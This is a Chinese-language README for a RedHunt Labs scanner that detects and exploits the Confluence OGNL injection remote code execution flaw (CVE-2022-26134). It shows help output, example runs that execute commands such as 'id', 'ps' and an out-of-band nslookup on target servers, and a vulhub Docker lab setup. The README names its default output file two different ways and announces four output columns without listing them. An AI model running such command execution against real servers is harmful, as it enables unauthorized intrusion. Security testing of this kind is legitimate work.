Confluence 预认证 ONGL 注入远程代码执行扫描器 (CVE-2022-26134)。
下方 GIF 展示了工具的使用演示:

以下是工具的帮助输出:
$ ./cfscan -h
+-------------------------------+
| C O N F L U E N T P W N |
+-------------------------------+
[+] ConfluentPwn by RedHunt Labs - A Modern Attack Surface (ASM) Management Company
[+] 作者: Pinaki Mondal (RHL Research Team)
[+] 使用 https://redhuntlabs.com/nvadr 持续追踪您的攻击面。
用法:
-cmd string
在存在漏洞的 Confluence 服务器上执行的命令。 (默认 "id")
-file string
指定包含要扫描的主机列表的文件。
-output string
扫描结果输出文件路径。 (默认 "cfpwn-results.csv")
-regex string
用于匹配命令执行响应头的正则表达式。
-threads int
扫描时使用的线程数。 (默认 20)
-timeout int
HTTP 超时时间(秒)。 (默认 5)
-user-agent string
自定义 User-Agent 字符串。 (默认 "Mozilla/5.0 (ConfluentPwn) Chrome/95.0.4638.69 Safari/537.36")
示例:
./cfscan 1.2.3.4:80 1.1.1.1:8080
./cfscan -file urls.txt
./cfscan -cmd 'nslookup xxxxxxxxxxxxxxxxx.canarytokens.com 1.1.1.1:80'
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443
目标可以通过两种方式指定:
./cfscan target1 target2 ...
-file 参数指定包含待扫描 URL 列表的文件。
./cfscan -file targets.txt
可以使用 -threads 参数控制最大并发处理目标数。默认并发值为 20。
HTTP 超时时间(秒)可以通过 -timeout 参数指定。默认超时设置为 5 秒。
可以通过 -user-agent 标志指定自定义 User-Agent,以便用户在日志中跟踪 UA 字符串。
输出结果写入 CSV 文件,可通过 -output 标志指定目标路径。默认输出文件为 cfscan-results.csv。
输出包含 4 列:
可以使用 -cmd 参数指定在易受攻击服务器上运行的命令。通过正则表达式匹配命令输出——可使用 -regex 标志指定。
默认运行的命令是 id,用于匹配命令输出的正则表达式为 uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\)。
同时使用这些标志的示例如下:
./cfscan -cmd 'id' -regex 'uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\)' https://1.1.1.1
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443
如果您想测试该工具或漏洞本身,可以参考:https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134。
安装过程相当简单,以下命令即可完成:
$ mkdir confluentpwn && cd confluentpwn && wget https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml
$ docker-compose up -d
现在应用应该可以在 http://localhost:8090 访问。
该工具采用 MIT 许可证。参见 LICENSE。 当前工具版本为 v0.1。
RedHunt Labs 的研究团队感谢 vulhub 提供 Docker 测试镜像。
要了解更多关于我们的攻击面管理平台,请查看 NVADR。